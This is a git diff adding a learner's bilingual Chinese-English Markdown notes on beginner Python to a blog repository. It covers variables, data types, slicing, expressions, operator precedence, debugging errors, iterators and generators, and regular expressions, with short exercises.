lambda | nonlocal | not | or | pass | raise | return | try | while | with | yield | True | False | None + + + +* 变量存储在内存中的值。在创建变量时会在内存中开辟一个空间。 +* 基于变量的数据类型,解释器会分配指定内存,并决定什么数据可以被存储在内存中。 +* 变量可以指定不同的数据类型,这些变量可以存储整数,小数或字符。 + +--- + +## `Assignment statements` 变量赋值 + +The `assignment statement` links a name, on the left, with a value, on the right + +* Python 中的变量赋值不需要类型声明。 +* 每个变量在内存中创建,都包括变量的标识,名称和数据这些信息。 +* 每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。 +* The assignment token is `=` +* 左边是一个变量名 +* 右边是存储在变量中的值 + +--- + +## `reference diagram` + +A common way to represent variables on paper is to write the name with an `arrow` pointing to the variable’s value. + +This kind of figure, known as a `reference diagram`, `state snapshot`: +- it shows what state each of the variables is in at a particular instant in time. +- This diagram shows the result of executing the assignment statements shown above. + +![refdiagram1](https://i.imgur.com/LkoDVBN.png) + +```py +>>> message = "What's up, Doc?" +>>> n = 17 +>>> pi = 3.14159 +>>> print(message) +>>> print(n) +>>> print(pi) + +What's up, Doc? +17 +3.14159 +``` + +--- + +## 多个变量赋值 +* 同时为多个变量赋值 + +```py +# 创建一个整型对象,值为1, +# 三个变量被分配到相同的内存空间上。 + +a = b = c = 1 + +# 为多个对象指定多个变量 +# 两个整型对象 1 和 2 分别分配给变量 a 和 b,字符串对象 "john" 分配给变量 c。 + +a, b, c = 1, 2, "john" +``` + +--- + +## 标准数据类型 +* 在内存中存储的数据可以有多种类型。 +* 五个标准的数据类型: + +Numbers(数字) +String(字符串) +List(列表) +Tuple(元组) +Dictionary(字典) + +--- + + + +## Python字符串 +* String 是由数字、字母、下划线组成的一串字符。 +`s="a1a2···an"(n>=0)` + +* python的字串列表有2种取值顺序: +* 从左到右: 默认0开始的,最大范围是字符串长度少1 +* 从右到左: 默认-1开始的,最大范围是字符串开头 + +### `[from:to]` + +* 从字符串中获取一段子字符串的话, 使用 [头下标:尾下标] 来截取相应的字符串 +* 下标从 0 开始算起,正数或负数 +* 为空表示取到头或尾。 +* `[头下标:尾下标]` 获取的子字符串包含头下标的字符,但 **不包含尾下标的字符**。 + +``` +- 5 4 3 2 1 +0 1 2 3 4 +a b c d e +: 1 2 3 4 5 +- : 5 4 3 2 1 +``` + +```py +>>> s = 'abcdef' +>>> s[1:5] + +'bcde' +``` + +* 加号(+)是字符串连接运算符,星号(* )是重复操作 + +```py +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +str = 'Hello World!' + +print str # 输出完整字符串 +print str[0] # 输出字符串中的第一个字符 +print str[2:5] # 输出字符串中第三个至第六个之间的字符串 +print str[2:] # 输出从第三个字符开始的字符串 +print str * 2 # 输出字符串两次 +print str + "TEST" # 输出连接的字符串 + +# 结果 +Hello World! +H +llo +llo World! +Hello World!Hello World! +Hello World!TEST +``` +### [from:to:截取的步长] + +* 列表截取可以接收第三个参数,参数作用是截取的步长 +* [from:to:截取的步长] + +```py + +# 索引 1 到索引 4 的位置并设置为步长为 2(间隔一个位置)来截取字符串: + +>>> letters = ['c', 'h', 'e', 'c', 'k'] +>>> letters[1:4:2] +['h', 'c'] +``` + +## Python list +* 列表可以完成大多数集合类的数据结构实现。 +* 它支持字符,数字,字符串甚至可以包含列表(即嵌套)。 +* list 用 [ ] 标识,是 python 最通用的 *复合数据类型* 。 + +* 列表中值的切割也可以用到变量 [头下标:尾下标]截取相应的列表 +* 从左到右索引默认 0 开始,从右到左索引默认 -1 开始 +* 下标为空: 取到头或尾。 + +* 加号 `+` 是列表连接运算符,星号 `*` 是重复操作 + +```py +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +list = [ 'runoob', 786 , 2.23, 'john', 70.2 ] +tinylist = [123, 'john'] + +print list # 输出完整列表 +print list[0] # 输出列表的第一个元素 +print list[1:3] # 输出第二个至第三个元素 +print list[2:] # 输出从第三个开始至列表末尾的所有元素 +print tinylist * 2 # 输出列表两次 +print list + tinylist # 打印组合的列表 + +# 结果: +['runoob', 786, 2.23, 'john', 70.2] +runoob +[786, 2.23] +[2.23, 'john', 70.2] +[123, 'john', 123, 'john'] +['runoob', 786, 2.23, 'john', 70.2, 123, 'john'] +``` + +## Python 元组 tuple +* 元组是另一个数据类型,类似于 List(列表)。 +* tuple 用 () 标识。内部元素用逗号隔开。 +* 但是元组不能二次赋值,相当于只读列表。 + +```py +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +tuple = ( 'runoob', 786 , 2.23, 'john', 70.2 ) +tinytuple = (123, 'john') + +print tuple # 输出完整元组 +print tuple[0] # 输出元组的第一个元素 +print tuple[1:3] # 输出第二个至第四个(不包含)的元素 +print tuple[2:] # 输出从第三个开始至列表末尾的所有元素 +print tinytuple * 2 # 输出元组两次 +print tuple + tinytuple # 打印组合的元组 + +# 结果: +('runoob', 786, 2.23, 'john', 70.2) +runoob +(786, 2.23) +(2.23, 'john', 70.2) +(123, 'john', 123, 'john') +('runoob', 786, 2.23, 'john', 70.2, 123, 'john') +``` + +```py +# 以下是元组无效的,因为元组是不允许更新的。而列表是允许更新的: + +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +tuple = ( 'runoob', 786 , 2.23, 'john', 70.2 ) +list = [ 'runoob', 786 , 2.23, 'john', 70.2 ] +tuple[2] = 1000 # 元组中是非法应用 +list[2] = 1000 # 列表中是合法应用 +``` + + +## Python 字典 +* dictionary, 除list以外python之中最灵活的内置数据结构类型。 +* list:有序的对象集合 +* dictionary:无序的对象集合。 +* 两者之间的区别在于:字典当中的元素是通过 `键` 来存取的,而不是通过 `偏移` 存取。 +* 字典用"{ }"标识。 +* 字典由索引(key)和它对应的值value组成。 + +```py +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +dict = {} +dict['one'] = "This is one" +dict[2] = "This is two" +tinydict = {'name': 'john','code':6734, 'dept': 'sales'} + +print dict['one'] # 输出键为'one' 的值 +print dict[2] # 输出键为 2 的值 +print tinydict # 输出完整的字典 +print tinydict.keys() # 输出所有键 +print tinydict.values() # 输出所有值 + +# 结果为: +This is one +This is two +{'dept': 'sales', 'code': 6734, 'name': 'john'} +['dept', 'code', 'name'] +['sales', 6734, 'john'] +``` diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.10.Statements-and-Expressions.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.10.Statements-and-Expressions.md new file mode 100644 index 00000000000..e7201d5f91b --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.10.Statements-and-Expressions.md @@ -0,0 +1,96 @@ + +# 2.10. Statements and Expressions + +A `statement` is an instruction that the Python interpreter can execute. +- `assignment` statement, `while` statements, `for` statements, `if` statements, and `import` statements... + +An `expression` is a combination of `literals, variable names, operators, and calls to functions`. +- Expressions need to be evaluated 估价. +- The result of evaluating an expression is a value or object. + +![expression_value_type](https://i.imgur.com/SyF9Kxs.png) + + +print an expression, the interpreter evaluates the expression and displays the result. + - `len()` a built-in Python function, returns the number of characters in a string. + - The evaluation of an expression produces a value, which is why expressions can appear on the right hand side of assignment statements. + - A literal all by itself is a simple expression, and so is a variable. + +```py +>>> print(len("hello")) +5 +``` + + +**kinds of expressions**: + + - `literal` + - e.g., “Hello” or 3.14 + + - `variable name` + - e.g., x or len + + - `operator expression` + - ` operatorname ` + + - `function call expressions` + - `()` + + +**Form back to from**: + +The `Python interpreter` examines any line of code and parses it into components. +- For example, +- if it sees an = symbol, it will try to treat the whole line as an `assignment statement`. +- It will expect to see a `valid variable name` to the left of the = +- will parse everything right of the = as an `expression` (figure out whether the right side is a literal, a variable name, an operator expression, or a function call expression). + - If it’s an `operator expression`, it will further try to parse the sub-expressions before and after the operator. And so on. + + +to evaluate an `operator expression`, ` operatorname ` +- the Python interpreter first completely evaluates the expression Y +- then X, +- then combines the two resulting values using the operator. + + +to evaluate a `function call expression`, `()` +- the interpreter evaluates the expression before the parentheses (looks up the name of the function). +- Then evaluate each of the expressions inside the parentheses Y Z. There may be more than one, separated by commas. +- The values of those expressions are passed as inputs to the function when the function is called. + + +If a `function call expression` is a sub-expression of some more complicated expression, as `square(x)` in `sub(square(y), square(x))` +- then the return value from `square(x)` is passed as an input to the `sub function`. +- tricky things +- the `square function` is called (twice) before the `sub function` is called, + +```py +x = 5 +y = 7 +add(square(y), square(x)) + +//step: +add(square(y), square(x)) +-add-(square(y), square(x)) # indicate that Python has looked up the name add and determined that it is a function object. +-add-(-square-(y), square(x)) +-add-(-square-(7), square(x)) +-add-(49, square(x)) +-add-(49, -square-(x)) +-add-(49, -square-(5)) +-add-(49, 25) +74 +``` + +`square(x + sub(square(y), 2 *x))` + +![Screen Shot 2020-03-08 at 16.34.46](https://i.imgur.com/gu74qFQ.png) + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.11.Operations-Order.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.11.Operations-Order.md new file mode 100644 index 00000000000..c038024bdf7 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.11.Operations-Order.md @@ -0,0 +1,40 @@ + +# 2.11. Order of Operations + +When more than one operator appears in an expression, the order of evaluation depends on the `rules of precedence` 优先权. + +Python follows the same precedence rules for its mathematical operators that mathematics does. + +1. Parentheses + +2. Exponentiation `**` so 3*1**3 is 3 and not 27. + +3. Multiplication and both division operators. `* / // %` + +4. Operators with the same precedence are evaluated from `left-to-right`. In algebra we say they are left-associative. + - 6-3+2, the subtraction happens first, yielding 3. + + +Note +an exception to the left-to-right left-associative rule: the exponentiation operator `**`. +- right to the left !!! + + +```py +>>> print(2 ** 3 ** 2) +512 +# the right-most ** operator gets done first! + +>>> print((2 ** 3) ** 2) +64 +# use parentheses to force the order you want! + +16 - 2 * 5 // 3 + 1 +//step: +16 - 2 * 5 // 3 + 1 +16 - 10 // 3 + 1 +16 - 3 + 1 +13 + 1 +14 + +``` diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.15.Input.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.15.Input.md new file mode 100644 index 00000000000..8c9847b9a80 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.15.Input.md @@ -0,0 +1,12 @@ + +# 2.15. Input + +n = input("Please enter your name: ") + +The `input function` allows the programmer to provide a prompt string. + +- When the function is evaluated, the prompt is shown (in the browser, look for a popup window). +- The user of the program can type some text and press return. +- When this happens the text that has been entered is returned from the input function, and assigned to the variable n. + +the input function returns a **string value**. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.17.Exercises.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.17.Exercises.md new file mode 100644 index 00000000000..912433570c4 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.17.Exercises.md @@ -0,0 +1,74 @@ + +# 1 +Challenge: Many people keep time using a 24 hour clock (11 is 11am and 23 is 11pm, 0 is midnight). If it is currently 13 and you set your alarm to go off in 50 hours, it will be 15 (3pm). Write a Python program to solve the general version of the above problem. Ask the user for the time now (in hours), and then ask for the number of hours to wait for the alarm. Your program should output what the time will be on the clock when the alarm goes off. + + +```py +now_time = int(input('time now (24 hour clock)')) +pass_hour = int(input('the number of hours to wait')) +// filter the Input + +new_days = pass_hour // 24 + +# remains_hours = pass_hour % 24 +# new_time24 = now_time + remains_hours + +new_time24 = (now_time + pass_hour) % 24 + +if new_time24 > 12: + new_time12 = str(new_time24 - 12)+ ' pm' +else: + new_time12 = str(new_time24)+ ' am' + +print("your new time is: %s days after, %s (12 hours)" % (new_days, new_time12)) + +print("your new time is: %s days after, %s o'clock (24 hours)" % (new_days, new_time24)) +``` + +# 2 + +It is possible to name the days 0 thru 6 where day 0 is Sunday and day 6 is Saturday. If you go on a wonderful holiday leaving on day number 3 (a Wednesday) and you return home after 10 nights you would return home on a Saturday (day 6). Write a general version of the program which asks for the starting day number, and the length of your stay, and it will tell you the number of day of the week you will return on. + + +```py +start_day = int(input('which day is now(0 is Sunday and day 6 is Saturday)')) +holi_day = int(input('how many days you travel')) + +pass_days = (start_day + holi_day) % 7 + +new_day = start_day + pass_days + +print("the number of day of the week you will return on is %s" % new_day) +``` + + +# 3 +Challenge: Take the sentence: All work and no play makes Jack a dull boy. Store each word in a separate variable, then print out the sentence on one line using print. + +```py + +a='All' +b='work' +c='and' +d='no' +e='play' +f='makes' +g='Jack' +h='a' +i='dull' +j='boy.' + +print(a,b,c,d,e,f,g,h,i,j) + +print(word1 + ' ' + word2 + ' ' + word3 + ' ' + word4 + ' ' + word5 + ' ' + word6 + ' ' + word7 + ' ' + word8 + ' ' + word9 + ' ' + word10) + +``` + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03.0.Debugging-Errors.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03.0.Debugging-Errors.md new file mode 100644 index 00000000000..02fa0d0b0f5 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03.0.Debugging-Errors.md @@ -0,0 +1,147 @@ + +# error + +[toc] + +# 3.1. Introduction to Debugging + +“The art of debugging is figuring out what you really told your program to do rather than what you thought you told it to do.”  — Andrew Singer + +# 3.2.1. How to Avoid Debugging +it is largely avoidable – if you work carefully. + +1. Understand the Problem + +2. Start Small + +3. Keep Improving. keep adding small pieces of the program one at a time, it is much easier to figure out what went wrong. (This of course means you must be able to recognize if there is an error. And that is done through testing.) + +This notion of `Get something working and keep improving it` is a mantra that you can repeat throughout your career as a programmer. + +--- + +# 3.3. 👩‍💻 Beginning tips for Debugging +Debugging a program is a different way of thinking than writing a program. The process of debugging is much more like being a detective. + +1. Everyone is a suspect (Except Python)! blame Python should be your last resort. Python is probably not the problem. + +2. Check your assumptions. + +3. Find clues. This is the biggest job of the detective and right now there are two important kinds of clues for you to understand. + - Error Messages + - Print Statements + + +Three kinds of errors can occur in a program: `syntax errors, runtime errors, and semantic errors`. + +![error_dist](https://i.imgur.com/Fnm7NNP.png) + +- Attempting to divide by 0. + - ** Runtime errors ** + - Python cannot reliably tell if you are trying to divide by 0 until it is executing your program (e.g., you might be asking the user for a value and then dividing by that value—you cannot know what value the user will enter before you run the program). + +- Forgetting a semi-colon at the end of a statement where one is required. + - ** Syntax errors ** + - no correct output because *the code can not be processed by the compiler or interpreter*. This would be considered a syntax error. + +- Forgetting to divide by 100 when printing a percentage amount. + - ** semantic errors ** + - produce the wrong answer because the programmer implemented the solution incorrectly. This is a semantic error. + +--- + +# 3.4. Syntax errors +Python can only execute a program if the program is `syntactically 在语句构成上 correct`; otherwise, the process fails and returns an error message. + +Syntax refers to `the structure` of a program and `the rules` about that structure. + +If there is a single syntax error anywhere in your program, Python will display an error message and quit. You will not be able to complete the execution of your program. + + +`The compiler/interpreter` typically finds syntax errors +- The compiler and / or interpreter is a computer program that determines if your program is written in a way that can be translated into machine language for execution. + + + +# 3.5. Runtime Errors +runtime error: +- the error does not appear until you run the program. +- are also called exceptions because they usually indicate that something exceptional (and bad) has happened. + +If an instruction is illegal to perform at that point in the execution, `the interpreter` will stop with a message describing the exception. + + +# 3.6. Semantic 语义的 Errors +semantic error: +- run successfully in the sense that the computer will not generate any error messages, but, program will not do the right thing. It will do something else. +- It will do what you told it to do. +- The meaning of the program (its semantics) is wrong. Identifying semantic errors can be tricky because it requires you to work backward by looking at the output of the program and trying to figure out what it is doing. + + +# 3.7. 👩‍💻 Error Messages + +## 3.7.1. SyntaxError +`Syntaxerrors` happen when you make an error in the syntax of your program. Syntax errors are like making grammatical errors in writing. + +`TokenError: EOF in multi-line statement` +- Python got to the end of file (EOF) while it was still looking for something. + +## 3.7.2. TypeError + +`TypeErrors` occur when you you try to combine two objects that are not compatible. + +## 3.7.3. NameError +`Nameerrors` almost always mean that you have used a variable before it has a value. Often NameErrors are simply caused by typos in your code. + +`NameError: name 'current_time_str' is not defined on line 4.` + +## 3.7.4. ValueError +`Valueerrors` occur when you pass a parameter to a function and the function is expecting a certain limitations on the values, and the value passed is not compatible. We can illustrate that with this particular program in two different ways. + + +## UnboundLocalError + +全局变量(UnboundLocalError: local variable referenced before assignment) + +```py + + count = 0 + # solution: + # global count + # declare 'count' used in this function is the global one + def function(): + count = count + 1 + print(count) + +Then we get: UnboundLocalError: local variable 'count' referenced before assignment + +The reason this happens is because as soon as you write to a variable, that variable is automatically local to the function. + + +2. + def test (int, boo=True, dict1={2:3, 4:5, 6:8}): + # solution: + # a=False + if boo==True: + if int in dict1: + a=dict1[int] + else: + a=boolean(0) + return a + +``` + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03a.fiststep.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03a.fiststep.md new file mode 100644 index 00000000000..5c264038b9d --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03a.fiststep.md @@ -0,0 +1,44 @@ + +[toc] + +# Python3 编程第一步 + +```py +# 斐波纳契数列 Fibonacci series: 两个元素的总和确定了下一个数 +a, b = 0, 1 +while b < 10: + print(b) + a, b = b, a+b # 计算方式为先计算右边表达式,然后同时赋值给左边,等价于: +# n=b +# m=a+b +# a=n +# b=m +# 输出结果为: +1 +1 +2 +3 +5 +8 + +# 这个例子介绍了几个新特征。 +# 第一行包含了一个复合赋值:变量 a 和 b 同时得到新值 0 和 1。 +# 最后一行再次使用了同样的方法,可以看到,右边的表达式会在赋值变动之前执行。 +# 右边表达式的执行顺序是从左往右的。 +``` + +--- + + +## end 关键字 +- 将结果输出到同一行,或者在输出的末尾添加不同的字符 + +```py +# Fibonacci series: 斐波纳契数列: 两个元素的总和确定了下一个数 +a, b = 0, 1 +while b < 1000: + print(b, end=',') + a, b = b, a+b +# 输出结果为: +1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987, +``` diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d.0001blbl.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d.0001blbl.md new file mode 100644 index 00000000000..dd933c8c5e2 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d.0001blbl.md @@ -0,0 +1,145 @@ + +[toc] + +# bilibili + + +```py + +import re #python has regular express + +# a poem.txt file +text = '' +file = open('poem.txt') +for line in file: + text = text + line +file.close() + + +# search word 'to' in file +result = re.findall(' to ', text) +print(result) +# [' to ', ' to ', ' to ', ' to ', ' to ', ' to ', ' to ', ' to ', ' to ', ' to ', ' to ', ' to ', ' to '] +print(len(result)) +# 13 + + +# search word start with 'a', 3 letter. +# . can be any str +result = re.findall('a..', text) +print(len(result)) +# 330 + + +# !!! +# a[a-z]c = aac,abc,acc,...., a..c + +# filte result with space +# use [a-z] to make sure two space must has letter a-z +result = re.findall('a[a-z][a-z]', text) +print(result) +print(len(result)) +# ['and', 'ars', 'air', 'aze', 'and', 'aro', 'and', 'and', 'ain', 'are'...] +#207 + + +# filte the long words +result = re.findall('a[a-z][a-z] ', text) +print(result) +print(len(result)) +# ['and ', 'and ', 'are '...] +# 94 + + +# cut the space in 2 side +result = re.findall(' (a[a-z][a-z]) ', text) +print(result) +print(len(result)) +# ['and', 'and', 'and'...] +# 45 + + +# filte the repeat word +# set() wont have repeat value +result = re.findall(' (a[a-z][a-z]) ', text) +print(set(result)) +print(len(set(result))) +# set(['and', 'all', 'ash', 'are', 'air']) +# 5 + +# keep the first letter be A or a +result = re.findall(' ([Aa][a-z][a-z]) ', text) +print(set(result)) +print(len(set(result))) +# set(['and', 'And', 'all', 'air', 'are', 'ash']) +# 6 + + +# ---------------------------------------------------------- +# a* = _, a, aa, aaaaaa. +# ---------------------------------------------------------- +# find the start word, which dont have space in front +result = re.findall(' *([Aa][a-z][a-z]) ', text) +print(set(result)) +print(len(set(result))) +# set(['and', 'arp', 'all', 'ars', 'ant', 'ard', 'are', 'ave', 'any', 'ads', 'afe', 'ade', 'ast', 'ame', 'ash', 'And', 'All', 'ace', 'age', 'ath', 'air', 'ain', 'ags', 'ake']) +# 24 +# output has word like 's'ave, all word has aXX. +# cut those pattern output +# ---------------------------------------------------------- +# use or: | +# but the result come use 2 patterns +# if left side has no result, it shows '' +# ---------------------------------------------------------- +result = re.findall(' (a[a-z][a-z]) |(A[a-z][a-z]) ', text) +print(set(result)) +print(len(set(result))) +# set([('ash', ''), ('and', ''), ('are', ''), ('air', ''), ('all', ''), ('', 'And'), ('', 'All')]) +# 7 +# wanna filte only words +result = re.findall(' (a[a-z][a-z]) |(A[a-z][a-z]) ', text) + +final_result = set() +for pair in result: + if pair[0] not in final_result: + final_result.add(pair[0]) + if pair[1] not in final_result: + final_result.add(pair[1]) +print(final_result) +# set(['', 'And', 'all', 'and', 'All', 'air', 'are', 'ash']) +final_result.remove('') +print(final_result) +# set(['And', 'all', 'and', 'All', 'air', 'are', 'ash']) + + +# find number +result = re.findall('\d', text) +print(result) +# [...'8', '2', '3', '2', '8', '2', '3', '2', '8', '2', '3', '2', '1', '2', '3', '0', '8', '2', '3', '2'] +# -------------------------------------------------------- +# a+ = a,aa,aaa,aaaa. +# -------------------------------------------------------- +# make the words together +result = re.findall('\d+', text) +print(result) +# [...'8232', '8232', '8232', '123', '0', '8232'] +# mark only the 2 letter +result = re.findall('\d{2}', text) +print(result) +# [...'82', '32', '82', '32', '12', '82', '32'] +result = re.findall('\d{2,3}', text) +print(result) +# [...'823', '823', '823', '823', '823', '823', '823', '123', '823'] + + +#--------------------------------------------------------- +# 数量完整匹配 +#--------------------------------------------------------- +result = re.findall('\w{2,3}', text) +# = re.findall('[A-Za-z0-9_]', text) +print(result) +print(len(result)) +# [... 'tel', 'the', 'sto', 'ry', 'of', 'his', 'rid', 'hel', 'lo', 'wor', 'ld', '123', 'uc0', 'u82', '32'] +# 1807 + +``` diff --git "a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d.\350\277\255\344\273\243\345\231\250\344\270\216\347\224\237\346\210\220\345\231\250.md" "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d.\350\277\255\344\273\243\345\231\250\344\270\216\347\224\237\346\210\220\345\231\250.md" new file mode 100644 index 00000000000..428f67d29e0 --- /dev/null +++ "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d.\350\277\255\344\273\243\345\231\250\344\270\216\347\224\237\346\210\220\345\231\250.md" @@ -0,0 +1,184 @@ + +[toc] + +# Python3 迭代器与生成器 + +## 迭代器 +- 迭代是Python最强大的功能之一,是访问集合元素的一种方式。 +- 迭代器是一个可以记住遍历的位置的对象。use `next()` to iter the value +- 不随机,只一个接一个。迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束。迭代器只能往前不会后退。 +- 迭代器有两个基本的方法:`iter()` 和 `next()`。 +- 字符串,list或tuple对象都可用于创建迭代器: + + +# 创建迭代器对象 + +``` +>>> list=[1,2,3,4] +>>> it = iter(list) # 创建迭代器对象 +>>> print (next(it)) # 输出迭代器的下一个元素 +1 +>>> print (next(it)) # 输出迭代器的下一个元素 +2 +>>> + +# 迭代器对象可用常规for语句进行遍历: +>>> list=[1,2,3,4] +>>> it = iter(list) # 创建迭代器对象 +>>> for x in it: + print (x, end=" ") +1 2 3 4 + + +# 也可以使用 next() 函数: +import sys # 引入 sys 模块 + +list=[1,2,3,4] +it = iter(list) # 创建迭代器对象 + +while True: + try: + print (next(it)) + except StopIteration: + sys.exit() +1 +2 +3 +4 + +# check if it is a iteration +li = [1,2,3,4] +b = dir(li) +print(b) + +for i in b: + if i == '__iter__': + print('its iteration') + elif i == '__next__': + print('its iterator') + else: + continue +#result +['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__setslice__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort'] +its iteration +``` + +## 创建一个迭代器 +- 把一个类作为一个迭代器使用需要在类中实现两个方法 `__iter__()` 与 `__next__()` 。 +- 如果你已经了解的面向对象编程,就知道类都有一个构造函数,Python 的构造函数为 __init__(), 它会在对象初始化的时候执行。 + - __iter__() 方法: 返回一个特殊的迭代器对象, 这个迭代器对象实现了 __next__() 方法并通过 StopIteration 异常标识迭代的完成。 + - __next__() 方法(Python 2 里是 next()): 会返回下一个迭代器对象。 + +```py +# 创建一个返回数字的迭代器,初始值为 1,逐步递增 1: +class MyNumbers: + def __iter__(self): + self.a = 1 + return self + + def __next__(self): + x = self.a + self.a += 1 + return x + +myclass = MyNumbers() +myiter = iter(myclass) + +print(next(myiter)) +print(next(myiter)) +print(next(myiter)) +print(next(myiter)) +print(next(myiter)) + +# 输出结果为: +1 +2 +3 +4 +5 +``` + +--- + +## StopIteration +- StopIteration 异常用于标识迭代的完成,防止出现无限循环的情况 +- 在 `__next__()` 方法中我们可以设置在完成指定循环次数后触发 StopIteration 异常来结束迭代。 + +```py + +# 在 20 次迭代后停止执行: +class MyNumbers: + def __iter__(self): + self.a = 1 + return self + + def __next__(self): + if self.a <= 20: + x = self.a + self.a += 1 + return x + else: + raise StopIteration + +myclass = MyNumbers() +myiter = iter(myclass) + +for x in myiter: + print(x) + +# 输出结果为: +1 +2 +3 +4 +5 +6 +7 +8 +9 +10 +11 +12 +13 +14 +15 +16 +17 +18 +19 +20 +``` + +--- + +## 生成器 +- 在 Python 中,使用了 `yield` 的函数被称为生成器(generator)。 +- 跟普通函数不同的是,生成器是一个返回迭代器的函数,只能用于迭代操作,更简单点理解生成器就是一个迭代器。 +- 在调用生成器运行的过程中,每次遇到 yield 时函数会暂停并保存当前所有的运行信息,返回 yield 的值, 并在下一次执行 next() 方法时从当前位置继续运行。 +- 调用一个生成器函数,返回的是一个迭代器对象。 + +```py + +# 使用 yield 实现斐波那契数列: +import sys + +def fibonacci(n): # 生成器函数 - 斐波那契 + a, b, counter = 0, 1, 0 + while True: + if (counter > n): + return + yield a + a, b = b, a + b + counter += 1 + +f = fibonacci(10) # f 是一个迭代器,由生成器返回生成 + +while True: + try: + print (next(f), end=" ") + except StopIteration: + sys.exit() + +# 输出结果如下: +0 1 1 2 3 5 8 13 21 34 55 +``` diff --git "a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d0.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d0.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" new file mode 100644 index 00000000000..14c6f646164 --- /dev/null +++ "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d0.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" @@ -0,0 +1,16 @@ + +[toc] + +# 正则表达式 Regular Expression +- 一种文本模式,包括普通字符(例如,a 到 z 之间的字母)和特殊字符(称为"元字符")。 +- 正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。 +- 正则表达式是繁琐的,但它是强大的,学会之后的应用会让你除了提高效率外,会给你带来绝对的成就感。 +- 许多程序设计语言都支持利用正则表达式进行字符串操作。 + +```py +var str = "abc123def"; +var patt1 = /[0-9]+/; +document.write(str.match(patt1)); +# 以下标记的文本是获得的匹配的表达式: +123 +``` diff --git "a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d001.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d001.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" new file mode 100644 index 00000000000..74819b37150 --- /dev/null +++ "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d001.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" @@ -0,0 +1,101 @@ + +[toc] + +# 正则表达式 - 简介 +除非您以前使用过正则表达式,否则您可能不熟悉一些术语。 +但是,毫无疑问,您已经使用过不涉及脚本的某些正则表达式概念。 +例如,您很可能使用 ? 和 * 通配符来查找硬盘上的文件。? 通配符匹配文件名中的 0 个或 1 个字符,而 * 通配符匹配零个或多个字符。像 data(\w)?\.dat 这样的模式将查找下列文件: + +``` +data.dat +data1.dat +data2.dat +datax.dat +dataN.dat +使用 * 字符代替 ? 字符扩大了找到的文件的数量。data.*\.dat 匹配下列所有文件: + +data.dat +data1.dat +data2.dat +data12.dat +datax.dat +dataXYZ.dat +``` +- 尽管这种搜索方法很有用,但它还是有限的。通过理解 * 通配符的工作原理,引入了正则表达式所依赖的概念,但正则表达式功能更强大,而且更加灵活。 +- 正则表达式的使用,可以通过简单的办法来实现强大的功能。 + +`^[0-9]+abc$` +- `^` 为匹配输入字符串的开始位置。 +- `[0-9]+` 匹配多个数字, [0-9] 匹配单个数字,+ 匹配一个或者多个。 +- `abc$` 匹配字母 abc 并以 abc 结尾 +- `$` 为匹配输入字符串的结束位置。 + +我们在写用户注册表单时,只允许用户名包含字符、数字、下划线和连接字符(-),并设置用户名的长度,我们就可以使用以下正则表达式来设定。 + +`^[a-z0-9_-]{3,15}$` +- 以上的正则表达式可以匹配 runoob、runoob1、run-oob、run_oob +- 但不匹配 ru,因为它包含的字母太短了,小于 3 